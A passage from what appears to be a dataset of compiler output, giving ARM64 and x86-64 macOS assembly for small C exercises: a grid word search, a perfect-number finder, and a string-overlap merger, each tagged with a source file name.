subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB1_16
b LBB1_9
LBB1_9: ; in Loop: Header=BB1_7 Depth=2
str wzr, [sp, #28]
b LBB1_10
LBB1_10: ; Parent Loop BB1_5 Depth=1
; Parent Loop BB1_7 Depth=2
; => This Inner Loop Header: Depth=3
ldr w8, [sp, #28]
subs w8, w8, #8
cset w8, ge
tbnz w8, #0, LBB1_15
b LBB1_11
LBB1_11: ; in Loop: Header=BB1_10 Depth=3
ldr w0, [sp, #32]
ldr w1, [sp, #36]
ldur x2, [x29, #-24]
ldr w4, [sp, #28]
mov w3, #1
bl _solution
sxtb w8, w0
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB1_13
b LBB1_12
LBB1_12: ; in Loop: Header=BB1_10 Depth=3
ldr w8, [sp, #32]
; implicit-def: $x10
mov x10, x8
ldr w9, [sp, #36]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x10, [x9]
str x8, [x9, #8]
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _printf
b LBB1_13
LBB1_13: ; in Loop: Header=BB1_10 Depth=3
b LBB1_14
LBB1_14: ; in Loop: Header=BB1_10 Depth=3
ldr w8, [sp, #28]
add w8, w8, #1
str w8, [sp, #28]
b LBB1_10
LBB1_15: ; in Loop: Header=BB1_7 Depth=2
b LBB1_16
LBB1_16: ; in Loop: Header=BB1_7 Depth=2
b LBB1_17
LBB1_17: ; in Loop: Header=BB1_7 Depth=2
ldr w8, [sp, #32]
add w8, w8, #1
str w8, [sp, #32]
b LBB1_7
LBB1_18: ; in Loop: Header=BB1_5 Depth=1
b LBB1_19
LBB1_19: ; in Loop: Header=BB1_5 Depth=1
ldr w8, [sp, #36]
add w8, w8, #1
str w8, [sp, #36]
b LBB1_5
LBB1_20:
stur wzr, [x29, #-4]
b LBB1_21
LBB1_21:
ldur w0, [x29, #-4]
ldp x29, x30, [sp, #80] ; 16-byte Folded Reload
add sp, sp, #96
ret
.cfi_endproc
; -- End function
.zerofill __DATA,__bss,_len,4,2 ; @len
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "end %d %d\n"
.section __DATA,__data
.p2align 2 ; @change_x
_change_x:
.long 1 ; 0x1
.long 1 ; 0x1
.long 0 ; 0x0
.long 4294967295 ; 0xffffffff
.long 4294967295 ; 0xffffffff
.long 4294967295 ; 0xffffffff
.long 0 ; 0x0
.long 1 ; 0x1
.p2align 2 ; @change_y
_change_y:
.long 0 ; 0x0
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 0 ; 0x0
.long 4294967295 ; 0xffffffff
.long 4294967295 ; 0xffffffff
.long 4294967295 ; 0xffffffff
_strs: ; @strs
.ascii "this"
.ascii "wats"
.ascii "oahg"
.ascii "fgdc"
.section __TEXT,__cstring,cstring_literals
l_.str.1: ; @.str.1
.asciz "usage: ext string\n"
l_.str.2: ; @.str.2
.asciz "%s\n"
l_.str.3: ; @.str.3
.asciz "can not find\n"
l_.str.4: ; @.str.4
.asciz "begin %d %d\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _solution ## -- Begin function solution
.p2align 4, 0x90
_solution: ## @solution
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl %edi, -8(%rbp)
movl %esi, -12(%rbp)
movq %rdx, -24(%rbp)
movl %ecx, -28(%rbp)
movl %r8d, -32(%rbp)
movl _len(%rip), %eax
cmpl -28(%rbp), %eax
jne LBB0_2
## %bb.1:
movl -8(%rbp), %esi
movl -12(%rbp), %edx
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
movb $1, -1(%rbp)
jmp LBB0_9
LBB0_2:
movslq -32(%rbp), %rcx
leaq _change_x(%rip), %rax
movl (%rax,%rcx,4), %eax
addl -8(%rbp), %eax
movl %eax, -8(%rbp)
movslq -32(%rbp), %rcx
leaq _change_y(%rip), %rax
movl (%rax,%rcx,4), %eax
addl -12(%rbp), %eax
movl %eax, -12(%rbp)
cmpl $0, -8(%rbp)
jl LBB0_8
## %bb.3:
cmpl $4, -8(%rbp)
jge LBB0_8
## %bb.4:
cmpl $0, -12(%rbp)
jl LBB0_8
## %bb.5:
cmpl $4, -12(%rbp)
jge LBB0_8
## %bb.6:
movslq -8(%rbp), %rcx
leaq _strs(%rip), %rax
shlq $2, %rcx
addq %rcx, %rax
movslq -12(%rbp), %rcx
movsbl (%rax,%rcx), %eax
movq -24(%rbp), %rcx
movslq -28(%rbp), %rdx
movsbl (%rcx,%rdx), %ecx
cmpl %ecx, %eax
jne LBB0_8
## %bb.7:
movl -8(%rbp), %edi
movl -12(%rbp), %esi
movq -24(%rbp), %rdx
movl -28(%rbp), %ecx
addl $1, %ecx
movl -32(%rbp), %r8d
callq _solution
movb %al, -1(%rbp)
jmp LBB0_9
LBB0_8:
movb $0, -1(%rbp)
LBB0_9:
movsbl -1(%rbp), %eax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $64, %rsp
movl $0, -4(%rbp)
movl %edi, -8(%rbp)
movq %rsi, -16(%rbp)
cmpl $2, -8(%rbp)
je LBB1_2
## %bb.1:
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
leaq L_.str.1(%rip), %rsi
movb $0, %al
callq _fprintf
movl $0, -4(%rbp)
jmp LBB1_21
LBB1_2:
movq -16(%rbp), %rax
movq 8(%rax), %rax
movq %rax, -24(%rbp)
movq -24(%rbp), %rsi
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
movq -24(%rbp), %rdi
callq _strlen
## kill: def $eax killed $eax killed $rax
movl %eax, _len(%rip)
cmpl $16, %eax
jle LBB1_4
## %bb.3:
leaq L_.str.3(%rip), %rdi
movb $0, %al
callq _printf
movl $0, -4(%rbp)
jmp LBB1_21
LBB1_4:
movl $0, -44(%rbp)
LBB1_5: ## =>This Loop Header: Depth=1
## Child Loop BB1_7 Depth 2
## Child Loop BB1_10 Depth 3
cmpl $4, -44(%rbp)
jge LBB1_20
## %bb.6: ## in Loop: Header=BB1_5 Depth=1
movl $0, -48(%rbp)
LBB1_7: ## Parent Loop BB1_5 Depth=1
## => This Loop Header: Depth=2
## Child Loop BB1_10 Depth 3
cmpl $4, -48(%rbp)
jge LBB1_18
## %bb.8: ## in Loop: Header=BB1_7 Depth=2
movslq -44(%rbp), %rcx
leaq _strs(%rip), %rax
shlq $2, %rcx
addq %rcx, %rax
movslq -48(%rbp), %rcx
movsbl (%rax,%rcx), %eax
movq -24(%rbp), %rcx
movsbl (%rcx), %ecx
cmpl %ecx, %eax
jne LBB1_16
## %bb.9: ## in Loop: Header=BB1_7 Depth=2
movl $0, -52(%rbp)
LBB1_10: ## Parent Loop BB1_5 Depth=1
## Parent Loop BB1_7 Depth=2
## => This Inner Loop Header: Depth=3
cmpl $8, -52(%rbp)
jge LBB1_15
## %bb.11: ## in Loop: Header=BB1_10 Depth=3
movl -48(%rbp), %edi
movl -44(%rbp), %esi
movq -24(%rbp), %rdx
movl -52(%rbp), %r8d
movl $1, %ecx
callq _solution
movsbl %al, %eax
cmpl $0, %eax
je LBB1_13
## %bb.12: ## in Loop: Header=BB1_10 Depth=3
movl -48(%rbp), %esi
movl -44(%rbp), %edx
leaq L_.str.4(%rip), %rdi
movb $0, %al
callq _printf
LBB1_13: ## in Loop: Header=BB1_10 Depth=3
jmp LBB1_14
LBB1_14: ## in Loop: Header=BB1_10 Depth=3
movl -52(%rbp), %eax
addl $1, %eax
movl %eax, -52(%rbp)
jmp LBB1_10
LBB1_15: ## in Loop: Header=BB1_7 Depth=2
jmp LBB1_16
LBB1_16: ## in Loop: Header=BB1_7 Depth=2
jmp LBB1_17
LBB1_17: ## in Loop: Header=BB1_7 Depth=2
movl -48(%rbp), %eax
addl $1, %eax
movl %eax, -48(%rbp)
jmp LBB1_7
LBB1_18: ## in Loop: Header=BB1_5 Depth=1
jmp LBB1_19
LBB1_19: ## in Loop: Header=BB1_5 Depth=1
movl -44(%rbp), %eax
addl $1, %eax
movl %eax, -44(%rbp)
jmp LBB1_5
LBB1_20:
movl $0, -4(%rbp)
LBB1_21:
movl -4(%rbp), %eax
addq $64, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.zerofill __DATA,__bss,_len,4,2 ## @len
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "end %d %d\n"
.section __DATA,__data
.p2align 4 ## @change_x
_change_x:
.long 1 ## 0x1
.long 1 ## 0x1
.long 0 ## 0x0
.long 4294967295 ## 0xffffffff
.long 4294967295 ## 0xffffffff
.long 4294967295 ## 0xffffffff
.long 0 ## 0x0
.long 1 ## 0x1
.p2align 4 ## @change_y
_change_y:
.long 0 ## 0x0
.long 1 ## 0x1
.long 1 ## 0x1
.long 1 ## 0x1
.long 0 ## 0x0
.long 4294967295 ## 0xffffffff
.long 4294967295 ## 0xffffffff
.long 4294967295 ## 0xffffffff
.p2align 4 ## @strs
_strs:
.ascii "this"
.ascii "wats"
.ascii "oahg"
.ascii "fgdc"
.section __TEXT,__cstring,cstring_literals
L_.str.1: ## @.str.1
.asciz "usage: ext string\n"
L_.str.2: ## @.str.2
.asciz "%s\n"
L_.str.3: ## @.str.3
.asciz "can not find\n"
L_.str.4: ## @.str.4
.asciz "begin %d %d\n"
.subsections_via_symbols
| the_stack_data/897641.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov w8, #0
stur w8, [x29, #-16] ; 4-byte Folded Spill
stur wzr, [x29, #-4]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
mov x9, sp
sub x8, x29, #8
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
str x0, [sp, #24] ; 8-byte Folded Spill
bl _scanf
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
ldr x0, [sp, #24] ; 8-byte Folded Reload
mov x9, sp
sub x8, x29, #12
str x8, [x9]
bl _scanf
ldur w8, [x29, #-8]
; implicit-def: $x10
mov x10, x8
ldur w9, [x29, #-12]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x10, [x9]
str x8, [x9, #8]
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
ldur w0, [x29, #-8]
ldur w1, [x29, #-12]
bl _PerfectNumbers
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _printf
ldur w0, [x29, #-16] ; 4-byte Folded Reload
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.globl _PerfectNumbers ; -- Begin function PerfectNumbers
.p2align 2
_PerfectNumbers: ; @PerfectNumbers
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur w0, [x29, #-4]
str w1, [sp, #8]
b LBB1_1
LBB1_1: ; =>This Inner Loop Header: Depth=1
ldur w8, [x29, #-4]
ldr w9, [sp, #8]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB1_5
b LBB1_2
LBB1_2: ; in Loop: Header=BB1_1 Depth=1
ldur w0, [x29, #-4]
bl _checkPerfect
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB1_4
b LBB1_3
LBB1_3: ; in Loop: Header=BB1_1 Depth=1
ldur w9, [x29, #-4]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.5@PAGE
add x0, x0, l_.str.5@PAGEOFF
bl _printf
b LBB1_4
LBB1_4: ; in Loop: Header=BB1_1 Depth=1
ldur w8, [x29, #-4]
add w8, w8, #1
stur w8, [x29, #-4]
b LBB1_1
LBB1_5:
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _checkPerfect ; -- Begin function checkPerfect
.p2align 2
_checkPerfect: ; @checkPerfect
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
str w0, [sp, #24]
str wzr, [sp, #16]
ldr w8, [sp, #24]
str w8, [sp, #12]
mov w8, #1
str w8, [sp, #20]
b LBB2_1
LBB2_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #20]
ldr w9, [sp, #12]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB2_6
b LBB2_2
LBB2_2: ; in Loop: Header=BB2_1 Depth=1
ldr w8, [sp, #12]
ldr w10, [sp, #20]
sdiv w9, w8, w10
mul w9, w9, w10
subs w8, w8, w9
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB2_4
b LBB2_3
LBB2_3: ; in Loop: Header=BB2_1 Depth=1
ldr w9, [sp, #20]
ldr w8, [sp, #16]
add w8, w8, w9
str w8, [sp, #16]
b LBB2_4
LBB2_4: ; in Loop: Header=BB2_1 Depth=1
b LBB2_5
LBB2_5: ; in Loop: Header=BB2_1 Depth=1
ldr w8, [sp, #20]
add w8, w8, #1
str w8, [sp, #20]
b LBB2_1
LBB2_6:
ldr w8, [sp, #16]
ldr w9, [sp, #24]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB2_8
b LBB2_7
LBB2_7:
mov w8, #1
str w8, [sp, #28]
b LBB2_9
LBB2_8:
str wzr, [sp, #28]
b LBB2_9
LBB2_9:
ldr w0, [sp, #28]
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Input lowest search limit of perfect numbers : "
l_.str.1: ; @.str.1
.asciz "%d"
l_.str.2: ; @.str.2
.asciz "Input highest search limit of perfect numbers : "
l_.str.3: ; @.str.3
.asciz "\n The perfect numbers between %d to %d are : \n"
l_.str.4: ; @.str.4
.asciz "\n\n"
l_.str.5: ; @.str.5
.asciz " %d "
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.1(%rip), %rdi
leaq -8(%rbp), %rsi
movb $0, %al
callq _scanf
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.1(%rip), %rdi
leaq -12(%rbp), %rsi
movb $0, %al
callq _scanf
movl -8(%rbp), %esi
movl -12(%rbp), %edx
leaq L_.str.3(%rip), %rdi
movb $0, %al
callq _printf
movl -8(%rbp), %edi
movl -12(%rbp), %esi
callq _PerfectNumbers
leaq L_.str.4(%rip), %rdi
movb $0, %al
callq _printf
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _PerfectNumbers ## -- Begin function PerfectNumbers
.p2align 4, 0x90
_PerfectNumbers: ## @PerfectNumbers
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl %edi, -4(%rbp)
movl %esi, -8(%rbp)
LBB1_1: ## =>This Inner Loop Header: Depth=1
movl -4(%rbp), %eax
cmpl -8(%rbp), %eax
jg LBB1_5
## %bb.2: ## in Loop: Header=BB1_1 Depth=1
movl -4(%rbp), %edi
callq _checkPerfect
cmpl $0, %eax
je LBB1_4
## %bb.3: ## in Loop: Header=BB1_1 Depth=1
movl -4(%rbp), %esi
leaq L_.str.5(%rip), %rdi
movb $0, %al
callq _printf
LBB1_4: ## in Loop: Header=BB1_1 Depth=1
movl -4(%rbp), %eax
addl $1, %eax
movl %eax, -4(%rbp)
jmp LBB1_1
LBB1_5:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _checkPerfect ## -- Begin function checkPerfect
.p2align 4, 0x90
_checkPerfect: ## @checkPerfect
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, -8(%rbp)
movl $0, -16(%rbp)
movl -8(%rbp), %eax
movl %eax, -20(%rbp)
movl $1, -12(%rbp)
LBB2_1: ## =>This Inner Loop Header: Depth=1
movl -12(%rbp), %eax
cmpl -20(%rbp), %eax
jge LBB2_6
## %bb.2: ## in Loop: Header=BB2_1 Depth=1
movl -20(%rbp), %eax
cltd
idivl -12(%rbp)
cmpl $0, %edx
jne LBB2_4
## %bb.3: ## in Loop: Header=BB2_1 Depth=1
movl -12(%rbp), %eax
addl -16(%rbp), %eax
movl %eax, -16(%rbp)
LBB2_4: ## in Loop: Header=BB2_1 Depth=1
jmp LBB2_5
LBB2_5: ## in Loop: Header=BB2_1 Depth=1
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
jmp LBB2_1
LBB2_6:
movl -16(%rbp), %eax
cmpl -8(%rbp), %eax
jne LBB2_8
## %bb.7:
movl $1, -4(%rbp)
jmp LBB2_9
LBB2_8:
movl $0, -4(%rbp)
LBB2_9:
movl -4(%rbp), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Input lowest search limit of perfect numbers : "
L_.str.1: ## @.str.1
.asciz "%d"
L_.str.2: ## @.str.2
.asciz "Input highest search limit of perfect numbers : "
L_.str.3: ## @.str.3
.asciz "\n The perfect numbers between %d to %d are : \n"
L_.str.4: ## @.str.4
.asciz "\n\n"
L_.str.5: ## @.str.5
.asciz " %d "
.subsections_via_symbols
| the_stack_data/1032739.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _overlap ; -- Begin function overlap
.p2align 2
_overlap: ; @overlap
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
stur x1, [x29, #-16]
ldur x0, [x29, #-8]
bl _strlen
mov x8, x0
str w8, [sp, #20]
ldur x0, [x29, #-16]
bl _strlen
mov x8, x0
str w8, [sp, #16]
str wzr, [sp, #12]
str wzr, [sp, #8]
mov w8, #1
str w8, [sp, #24]
b LBB0_1
LBB0_1: ; =>This Loop Header: Depth=1
; Child Loop BB0_3 Depth 2
ldr w8, [sp, #24]
ldr w9, [sp, #20]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_14
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
str wzr, [sp, #8]
ldr w8, [sp, #24]
stur w8, [x29, #-20]
b LBB0_3
LBB0_3: ; Parent Loop BB0_1 Depth=1
; => This Inner Loop Header: Depth=2
ldur w8, [x29, #-20]
ldr w9, [sp, #20]
subs w8, w8, w9
cset w8, ge
mov w9, #0
str w9, [sp, #4] ; 4-byte Folded Spill
tbnz w8, #0, LBB0_5
b LBB0_4
LBB0_4: ; in Loop: Header=BB0_3 Depth=2
ldr w8, [sp, #8]
ldr w9, [sp, #16]
subs w8, w8, w9
cset w8, lt
str w8, [sp, #4] ; 4-byte Folded Spill
b LBB0_5
LBB0_5: ; in Loop: Header=BB0_3 Depth=2
ldr w8, [sp, #4] ; 4-byte Folded Reload
tbz w8, #0, LBB0_10
b LBB0_6
LBB0_6: ; in Loop: Header=BB0_3 Depth=2
ldur x8, [x29, #-8]
ldursw x9, [x29, #-20]
ldrsb w8, [x8, x9]
ldur x9, [x29, #-16]
ldrsw x10, [sp, #8]
ldrsb w9, [x9, x10]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB0_8
b LBB0_7
LBB0_7: ; in Loop: Header=BB0_3 Depth=2
ldr w8, [sp, #8]
add w8, w8, #1
str w8, [sp, #8]
ldur w8, [x29, #-20]
add w8, w8, #1
stur w8, [x29, #-20]
b LBB0_9
LBB0_8: ; in Loop: Header=BB0_1 Depth=1
str wzr, [sp, #8]
b LBB0_10
LBB0_9: ; in Loop: Header=BB0_3 Depth=2
b LBB0_3
LBB0_10: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #8]
ldr w9, [sp, #12]
subs w8, w8, w9
cset w8, le
tbnz w8, #0, LBB0_12
b LBB0_11
LBB0_11: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #8]
str w8, [sp, #12]
b LBB0_12
LBB0_12: ; in Loop: Header=BB0_1 Depth=1
b LBB0_13
LBB0_13: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #24]
add w8, w8, #1
str w8, [sp, #24]
b LBB0_1
LBB0_14:
ldr w0, [sp, #12]
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.globl _concat ; -- Begin function concat
.p2align 2
_concat: ; @concat
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
str x1, [sp, #16]
str w2, [sp, #12]
ldur x8, [x29, #-8]
str x8, [sp] ; 8-byte Folded Spill
ldur x0, [x29, #-8]
bl _strlen
ldr x8, [sp] ; 8-byte Folded Reload
ldrsw x9, [sp, #12]
subs x9, x0, x9
add x8, x8, x9
strb wzr, [x8]
ldur x0, [x29, #-8]
ldr x1, [sp, #16]
mov x2, #-1
bl ___strcat_chk
ldr x9, [sp, #16]
mov w8, #42
strb w8, [x9]
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 16
mov x29, sp
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
sub sp, sp, #96
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
stur wzr, [x29, #-12]
sub sp, sp, #16
mov x9, sp
sub x8, x29, #16
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _scanf
add sp, sp, #16
ldur w8, [x29, #-16]
; kill: def $x8 killed $w8
mov x9, sp
stur x9, [x29, #-32]
mov x9, #100
mul x9, x8, x9
add x9, x9, #15
and x9, x9, #0xfffffffffffffff0
stur x9, [x29, #-88] ; 8-byte Folded Spill
adrp x16, ___chkstk_darwin@GOTPAGE
ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF]
blr x16
ldur x10, [x29, #-88] ; 8-byte Folded Reload
mov x9, sp
subs x9, x9, x10
mov sp, x9
stur x9, [x29, #-80] ; 8-byte Folded Spill
stur x8, [x29, #-40]
stur wzr, [x29, #-20]
b LBB2_1
LBB2_1: ; =>This Inner Loop Header: Depth=1
ldur w8, [x29, #-20]
ldur w9, [x29, #-16]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB2_4
b LBB2_2
LBB2_2: ; in Loop: Header=BB2_1 Depth=1
ldur x8, [x29, #-80] ; 8-byte Folded Reload
ldursw x9, [x29, #-20]
mov x10, #100
mul x9, x9, x10
add x0, x8, x9
bl _gets
b LBB2_3
LBB2_3: ; in Loop: Header=BB2_1 Depth=1
ldur w8, [x29, #-20]
add w8, w8, #1
stur w8, [x29, #-20]
b LBB2_1
LBB2_4:
mov w8, #-1
stur w8, [x29, #-56]
stur wzr, [x29, #-64]
stur wzr, [x29, #-44]
b LBB2_5
LBB2_5: ; =>This Loop Header: Depth=1
; Child Loop BB2_7 Depth 2
; Child Loop BB2_9 Depth 3
ldur w8, [x29, #-44]
ldur w9, [x29, #-16]
subs w9, w9, #1
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB2_22
b LBB2_6
LBB2_6: ; in Loop: Header=BB2_5 Depth=1
stur wzr, [x29, #-20]
b LBB2_7
LBB2_7: ; Parent Loop BB2_5 Depth=1
; => This Loop Header: Depth=2
; Child Loop BB2_9 Depth 3
ldur w8, [x29, #-20]
ldur w9, [x29, #-16]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB2_20
b LBB2_8
LBB2_8: ; in Loop: Header=BB2_7 Depth=2
stur wzr, [x29, #-24]
b LBB2_9
LBB2_9: ; Parent Loop BB2_5 Depth=1
; Parent Loop BB2_7 Depth=2
; => This Inner Loop Header: Depth=3
ldur w8, [x29, #-24]
ldur w9, [x29, #-16]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB2_18
b LBB2_10
LBB2_10: ; in Loop: Header=BB2_9 Depth=3
ldur w8, [x29, #-20]
ldur w9, [x29, #-24]
subs w8, w8, w9
cset w8, eq
tbnz w8, #0, LBB2_16
b LBB2_11
LBB2_11: ; in Loop: Header=BB2_9 Depth=3
ldur x8, [x29, #-80] ; 8-byte Folded Reload
ldursw x9, [x29, #-20]
mov x10, #100
mul x9, x9, x10
ldrsb w8, [x8, x9]
subs w8, w8, #42
cset w8, eq
tbnz w8, #0, LBB2_16
b LBB2_12
LBB2_12: ; in Loop: Header=BB2_9 Depth=3
ldur x8, [x29, #-80] ; 8-byte Folded Reload
ldursw x9, [x29, #-24]
mov x10, #100
mul x9, x9, x10
ldrsb w8, [x8, x9]
subs w8, w8, #42
cset w8, eq
tbnz w8, #0, LBB2_16
b LBB2_13
LBB2_13: ; in Loop: Header=BB2_9 Depth=3
ldur x8, [x29, #-80] ; 8-byte Folded Reload
ldursw x9, [x29, #-20]
mov x10, #100
mul x11, x9, x10
mov x9, x8
add x0, x9, x11
ldursw x9, [x29, #-24]
mul x9, x9, x10
add x1, x8, x9
bl _overlap
stur w0, [x29, #-60]
ldur w8, [x29, #-56]
ldur w9, [x29, #-60]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB2_15
b LBB2_14
LBB2_14: ; in Loop: Header=BB2_9 Depth=3
ldur w8, [x29, #-60]
stur w8, [x29, #-56]
ldur w8, [x29, #-20]
stur w8, [x29, #-48]
ldur w8, [x29, #-24]
stur w8, [x29, #-52]
b LBB2_15
LBB2_15: ; in Loop: Header=BB2_9 Depth=3
b LBB2_16
LBB2_16: ; in Loop: Header=BB2_9 Depth=3
b LBB2_17
LBB2_17: ; in Loop: Header=BB2_9 Depth=3
ldur w8, [x29, #-24]
add w8, w8, #1
stur w8, [x29, #-24]
b LBB2_9
LBB2_18: ; in Loop: Header=BB2_7 Depth=2
b LBB2_19
LBB2_19: ; in Loop: Header=BB2_7 Depth=2
ldur w8, [x29, #-20]
add w8, w8, #1
stur w8, [x29, #-20]
b LBB2_7
LBB2_20: ; in Loop: Header=BB2_5 Depth=1
ldur x8, [x29, #-80] ; 8-byte Folded Reload
ldursw x9, [x29, #-48]
mov x10, #100
mul x11, x9, x10
mov x9, x8
add x0, x9, x11
ldursw x9, [x29, #-52]
mul x9, x9, x10
add x1, x8, x9
ldur w2, [x29, #-56]
bl _concat
mov w8, #-1
stur w8, [x29, #-56]
b LBB2_21
LBB2_21: ; in Loop: Header=BB2_5 Depth=1
ldur w8, [x29, #-44]
add w8, w8, #1
stur w8, [x29, #-44]
b LBB2_5
LBB2_22:
ldur x8, [x29, #-80] ; 8-byte Folded Reload
ldursw x9, [x29, #-48]
mov x10, #100
mul x9, x9, x10
add x0, x8, x9
bl _strlen
mov x8, x0
stur w8, [x29, #-68]
ldur w9, [x29, #-68]
; implicit-def: $x8
mov x8, x9
sub sp, sp, #16
mov x9, sp
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
add sp, sp, #16
ldur x8, [x29, #-32]
mov sp, x8
ldur w8, [x29, #-12]
stur w8, [x29, #-92] ; 4-byte Folded Spill
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB2_24
b LBB2_23
LBB2_23:
bl ___stack_chk_fail
LBB2_24:
ldur w0, [x29, #-92] ; 4-byte Folded Reload
mov sp, x29
ldp x29, x30, [sp], #16 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%d "
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
